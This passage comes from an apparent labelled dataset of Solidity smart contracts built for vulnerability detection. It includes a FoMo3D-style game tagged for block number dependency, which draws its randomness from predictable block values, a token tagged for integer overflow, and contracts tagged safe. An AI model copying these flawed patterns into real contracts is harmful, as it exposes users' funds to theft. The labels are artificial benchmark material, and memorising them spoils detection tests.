_rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin.transfer(_com); admin.transfer(_p3d.sub(_p3d / 2)); round_[_rID].pot = _pot.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, ""only admin can activate""); require(activated_ == false, ""FOMO Short already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 600.sol,"pragma solidity ^0.4.24; library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(a >= b); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Owned { address public owner; event OwnershipTransfered(address indexed owner); constructor() public { owner = msg.sender; emit OwnershipTransfered(owner); } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; emit OwnershipTransfered(owner); } } contract ERC20Token { using SafeMath for uint256; string public constant name = ""Ansforce Intelligence Token""; string public constant symbol = ""AIT""; uint8 public constant decimals = 18; uint256 public totalSupply = 0; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed from, uint256 value, address indexed to, bytes extraData); constructor() public { } function _transfer(address from, address to, uint256 value) internal { require(balanceOf[from] >= value); require(balanceOf[to] + value > balanceOf[to]); uint256 previousBalances = balanceOf[from].add(balanceOf[to]); balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); assert(balanceOf[from].add(balanceOf[to]) == previousBalances); } function transfer(address to, uint256 value) public { _transfer(msg.sender, to, value); } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= allowance[from][msg.sender]); allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function approve(address spender, uint256 value, bytes extraData) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, value, spender, extraData); return true; } } contract AnsforceIntelligenceToken is Owned, ERC20Token { constructor() public { } function init(uint256 _supply, address _vault) public onlyOwner { require(totalSupply == 0); require(_supply > 0); require(_vault != address(0)); totalSupply = _supply; balanceOf[_vault] = totalSupply; } bool public stopped = false; modifier isRunning { require (!stopped); _; } function transfer(address to, uint256 value) isRunning public { ERC20Token.transfer(to, value); } function stop() public onlyOwner { stopped = true; } function start() public onlyOwner { stopped = false; } mapping (address => uint256) public freezeOf; event Freeze(address indexed target, uint256 value); event Unfreeze(address indexed target, uint256 value); function freeze(address target, uint256 _value) public onlyOwner returns (bool success) { require( _value > 0 ); balanceOf[target] = SafeMath.sub(balanceOf[target], _value); freezeOf[target] = SafeMath.add(freezeOf[target], _value); emit Freeze(target, _value); return true; } function unfreeze(address target, uint256 _value) public onlyOwner returns (bool success) { require( _value > 0 ); freezeOf[target] = SafeMath.sub(freezeOf[target], _value); balanceOf[target] = SafeMath.add(balanceOf[target], _value); emit Unfreeze(target, _value); return true; } }",./Dataset/integer overflow (OF)/,4,4 0x020C710646e23AB868dbE5B88004892797fE4eFb_Golfcoin.sol,"pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // Ownership functionality for authorization controls and user permissions // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // Pause functionality // ---------------------------------------------------------------------------- contract Pausable is Owned { event Pause(); event Unpause(); bool public paused = false; // Modifier to make a function callable only when the contract is not paused. modifier whenNotPaused() { require(!paused); _; } // Modifier to make a function callable only when the contract is paused. modifier whenPaused() { require(paused); _; } // Called by the owner to pause, triggers stopped state function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } // Called by the owner to unpause, returns to normal state function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC20 Standard Interface // ---------------------------------------------------------------------------- contract ERC20 { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // 'GOLF' 'Golfcoin' token contract // Symbol : GOLF // Name : Golfcoin // Total supply: 100,000,000,000 // Decimals : 18 // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // ERC20 Token. Specifies symbol, name, decimals, and total supply // ---------------------------------------------------------------------------- contract Golfcoin is Pausable, SafeMath, ERC20 { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) public balances; mapping(address => mapping(address => uint)) internal allowed; event Burned(address indexed burner, uint256 value); event Mint(address indexed to, uint256 amount); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = ""GOLF""; name = ""Golfcoin""; decimals = 18; _totalSupply = 100000000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public whenNotPaused returns (bool success) { require(to != address(this)); //make sure we're not transfering to this contract //check edge cases if (balances[msg.sender] >= tokens && tokens > 0) { //update balances balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); //log event emit Transfer(msg.sender, to, tokens); return true; } else { return false; } } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public whenNotPaused returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) { require(to != address(this)); //check edge cases if (allowed[from][msg.sender] >= tokens && balances[from] >= tokens && tokens > 0) { //update balances and allowances balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); //log event emit Transfer(from, to, tokens); return true; } else { return false; } } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Burns a specific number of tokens // ------------------------------------------------------------------------ function burn(uint256 _value) public onlyOwner { require(_value > 0); address burner = msg.sender; balances[burner] = safeSub(balances[burner], _value); _totalSupply = safeSub(_totalSupply, _value); emit Burned(burner, _value); } // ------------------------------------------------------------------------ // Mints a specific number of tokens to a wallet address // ------------------------------------------------------------------------ function mint(address _to, uint256 _amount) public onlyOwner returns (bool) { _totalSupply = safeAdd(_totalSupply, _amount); balances[_to] = safeAdd(balances[_to], _amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } // ------------------------------------------------------------------------ // Doesn't Accept Eth // ------------------------------------------------------------------------ function () public payable { revert(); } }",Safe,8,8 35997.sol,"pragma solidity ^0.4.13; // DigiToken ICO group buyer contract ERC20 { function transfer(address _to, uint256 _value) returns (bool success); function balanceOf(address _owner) constant returns (uint256 balance); } contract AtlantBuyer { mapping (address => uint256) public balances; mapping (address => uint256) public balances_for_refund; bool public bought_tokens; bool public token_set; uint256 public contract_eth_value; uint256 public refund_contract_eth_value; uint256 public refund_eth_value; bool public kill_switch; bytes32 password_hash = 0xa8a4593cd683c96f5f31f4694e61192fb79928fb1f4b208470088f66c7710c6e; address public developer = 0xc024728C52142151208226FD6f059a9b4366f94A; address public sale = 0xD7E53b24e014cD3612D8469fD1D8e371Dd7b3024; ERC20 public token; uint256 public eth_minimum = 1 ether; function set_token(address _token) { require(msg.sender == developer); token = ERC20(_token); token_set = true; } function activate_kill_switch(string password) { require(msg.sender == developer || sha3(password) == password_hash); kill_switch = true; } function personal_withdraw(){ if (balances[msg.sender] == 0) return; if (!bought_tokens) { uint256 eth_to_withdraw = balances[msg.sender]; balances[msg.sender] = 0; msg.sender.transfer(eth_to_withdraw); } else { require(token_set); uint256 contract_token_balance = token.balanceOf(address(this)); require(contract_token_balance != 0); uint256 tokens_to_withdraw = (balances[msg.sender] * contract_token_balance) / contract_eth_value; contract_eth_value -= balances[msg.sender]; balances[msg.sender] = 0; uint256 fee = tokens_to_withdraw / 100; require(token.transfer(developer, fee)); require(token.transfer(msg.sender, tokens_to_withdraw - fee)); } } // Use with caution - use this withdraw function if you do not trust the // contract's token setting. You can only use this once, so if you // put in the wrong token address you will burn the Digi on the contract. function withdraw_token(address _token){ ERC20 myToken = ERC20(_token); if (balances[msg.sender] == 0) return; require(msg.sender != sale); if (!bought_tokens) { uint256 eth_to_withdraw = balances[msg.sender]; balances[msg.sender] = 0; msg.sender.transfer(eth_to_withdraw); } else { uint256 contract_token_balance = myToken.balanceOf(address(this)); require(contract_token_balance != 0); uint256 tokens_to_withdraw = (balances[msg.sender] * contract_token_balance) / contract_eth_value; contract_eth_value -= balances[msg.sender]; balances[msg.sender] = 0; uint256 fee = tokens_to_withdraw / 100; require(myToken.transfer(developer, fee)); require(myToken.transfer(msg.sender, tokens_to_withdraw - fee)); } } // This handles the withdrawal of refunds. Also works with partial refunds. function withdraw_refund(){ require(refund_eth_value!=0); require(balances_for_refund[msg.sender] != 0); uint256 eth_to_withdraw = (balances_for_refund[msg.sender] * refund_eth_value) / refund_contract_eth_value; refund_contract_eth_value -= balances_for_refund[msg.sender]; refund_eth_value -= eth_to_withdraw; balances_for_refund[msg.sender] = 0; msg.sender.transfer(eth_to_withdraw); } function () payable { if (!bought_tokens) { balances[msg.sender] += msg.value; balances_for_refund[msg.sender] += msg.value; if (this.balance < eth_minimum) return; if (kill_switch) return; require(sale != 0x0); bought_tokens = true; contract_eth_value = this.balance; refund_contract_eth_value = this.balance; 